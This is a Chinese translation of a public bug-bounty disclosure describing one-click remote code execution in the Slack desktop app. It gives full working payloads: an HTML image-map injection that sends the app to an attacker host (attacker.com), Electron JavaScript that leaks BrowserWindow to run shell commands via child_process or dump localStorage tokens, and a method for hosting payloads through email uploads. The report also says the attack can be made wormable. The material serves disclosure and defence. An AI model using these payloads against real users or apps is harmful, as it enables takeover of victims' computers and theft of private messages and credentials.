利用应用内重定向登陆/开放式重定向、HTML或javascript注入,都可以在Slack桌面应用中执行任意代码。
这份漏洞报告提供了几种攻击思路,包括HTML注入、绕过安全控制和RCE Javascript payload。
经测试,此expliot适用于最新的Slack Desktop(4.2、4.3.2)版本(Mac/Windows/Linux)。
为了更好程度地展示此RCE漏洞的影响,我们提供了一种新的攻击思路(HTML注入和有效负载),因为#738229中的exploit已经不能用了。
利用步骤
1.使用RCE有效负载在启用HTTPS的服务器上上传文件
2.准备一个带有HTML注入的Slack Post
3.将POST分享到频道或分享给用户
用户步骤
在PC端点击post文件
用户点击后的实际操作
HTML将用户桌面应用程序重定向到_top
frame中的攻击者网站。
攻击者网站使用RCE javascript回复。
利用跳转漏洞绕过Slack desktop环境,泄漏Electron对象,在用户PC上执行任意命令。
PS:这也可以通过任意XSS/应用内重定向漏洞来实现。
1.创建一个新的slack Post
当创建新的slack Post时,会在 https://files.slack.com 上创建一个具有以下JSON结构的新文件:
{"full":"<p>content<\/p>","preview":"<p>content<\/p>"}
通过访问/api/files.info
调用返回的私有文件链接可以找到私有文件的URL:
私有文件URL在/api/files.info的url_private响应下的格式为https://files.slack.com/files-pri/{TEAM_ID}-{FILE_ID}/TITLE
。只需访问私有文件链接就可以查看Slack Post JSON结构。
可以直接编辑这个JSON结构,它可以包含任意的HTML。JavaScript的执行受到CSP的限制,并且为HTML标签提供了各种安全保护。(即禁用iframe
, applet
,meta
, script
, form
等以及对于A
标签,target
属性被覆盖为_blank
)
但是,仍然可以注入area和map标签,用来实现一键RCE。
要直接编辑JSON结构并以这种方式注入,可以利用Slack本身提供的Web UI:
https://{YOUR-TEAM-HOSTNAME}.slack.com/files/{YOUR-MEMBER-ID}/{FILE-ID}/title/edit
或者,也可以上传Javascript/JSON片段,并通过使用HTTP代理编辑filetype参数将其filetype更改为docs。
上传payload.json,JSON如下:
通过在编辑文件时拦截请求来更改文件类型,例如将标题和拦截HTTP请求更改为/api/files.edit:
由于嵌入HTML不可能实现,并且各种标签也受到了限制,而且由于各种安全机制和CSP,Javascript不可用,因此开发了一种新的HTML注入有效负载:
<img src="https://files.slack.com/files-tmb/T02AVL3AF-FSUE04U2D-881f692a25/screenshot_2020-01-26_at_21.12.20_360.png" width="10000" height="10000" usemap="#slack-img">
<map name="slack-img">
<area shape="rect" coords="10000,10000 0,0" href="https://attacker.com/t.html" target="_self">
</map>
此有效负载需要使用属性usemap引用图像。需要预先将图像上传到Slack并托管在Slack基础设施中。
Slake Post edit@https://{YOUR-TEAM-HOSTNAME}.slack.com/files/{YOUR-MEMBER-ID}/{FILE-ID}/title/edit
payload.json:
{
"full": "asd",
"preview": "<img src=\"https://files.slack.com/files-tmb/T02AVL3AF-FSUE04U2D-881f692a25/screenshot_2020-01-26_at_21.12.20_360.png\" width=\"10000\" height=\"10000\" usemap=\"#slack-img\"><map name=\"slack-img\"><area shape=\"rect\" coords=\"10000,10000 0,0\" href=\"https://attacker.com/t.html\" target=\"_self\"></map>"
}
area标签内的URL链接将包含此针对Slack Desktop应用程序的HTML/JS利用漏洞,该漏洞可执行攻击者提供的任何命令:
<html>
<body>
<script>
// overwrite functions to get a BrowserWindow object:
window.desktop.delegate = {}
window.desktop.delegate.canOpenURLInWindow = () => true
window.desktop.window = {}
window.desktop.window.open = () => 1
bw = window.open('about:blank') // leak BrowserWindow class
nbw = new bw.constructor({show: false, webPreferences: {nodeIntegration: true}}) // let's make our own with nodeIntegration
nbw.loadURL('about:blank') // need to load some URL for interaction
nbw.webContents.executeJavaScript('this.require("child_process").exec("open /Applications/Calculator.app")') // exec command
</script>
</body>
</html>
对于Windows,只需将open/Applications/Calculator.app替换为calc或其他任何内容即可。
测试RCE有效负载,可以在任何Slack Desktop应用程序上打开开发人员工具,并仅将Javascript代码粘贴到控制台中。就实现了RCE。
通过修改有效负载可以轻松地访问所有私人对话、文件、令牌等,
<html>
<body>
<script>
window.desktop.delegate = {}
window.desktop.delegate.canOpenURLInWindow = () => true
window.desktop.window = {}
window.desktop.window.open = () => 1
bw = window.open('about:blank')
nbw = new bw.constructor({show: false}) // node not necessary for this demo
nbw.loadURL('https://app.slack.com/robots.txt') // robots.txt for speed, app.slack.com gives us the user's full environment
nbw.webContents.executeJavaScript('alert(JSON.stringify(localStorage))')
</script>
</body>
</html>
本质上,这使攻击者可以通过覆盖Slack桌面应用程序环境函数并通过BrowserWindow提供“隧道”来执行任意Javascript,从而完全远程控制Slack桌面应用程序.
在搜索RCE漏洞的入口点时,发现电子邮件(以明文形式发送时)未经过滤地存储在https://files.slack.com
的SLACK服务器上,并且直接以文本/HTML形式返回,无需强制下载。
此HTML文件上传功能可用于存储RCE有效负载
可以使用任何电子邮件客户端来做到这一点,比如在MacOS的默认客户端中,按下CMD+SHIFT+T来生成电子邮件纯文本,从上面复制粘贴RCE有效负载,然后将其嵌入到Slack Post HTML注入中。
发送到slack的步骤戳这里。
然后,可以通过页面上的“open original”找到上传的HTML文件,或者通过对电子邮件文件id调用相同的/api/files.info API,然后访问url_private链接来找到上传的HTML文件。
通过Web UI的HTML注入路径-直接编辑POST文件结构。
或者,通过从Javascript/JSON到Docs的文件转换进行HTML注入-实现直接编辑POST结构。
新的纯HTML有效负载可重定向slack桌面应用程序。
跳转漏洞实现RCE
通过电子邮件实现不受限制的Files.slack.com XSS
当然,所有文件都必须通过日常的方法与收件人共享,否则无法访问私人文件
Slack桌面应用程序中的远程代码执行:
访问私有文件、私钥、密码、机密、内部网络访问等。
访问Slack中的私人对话、文件等。
可以将payload设置为wormable—反复利用。
*.slack.com
中的任意HTML内容——都被默认为可信任
网络钓鱼
可用于存储以上RCE漏洞payload
https://hackerone.com/reports/783877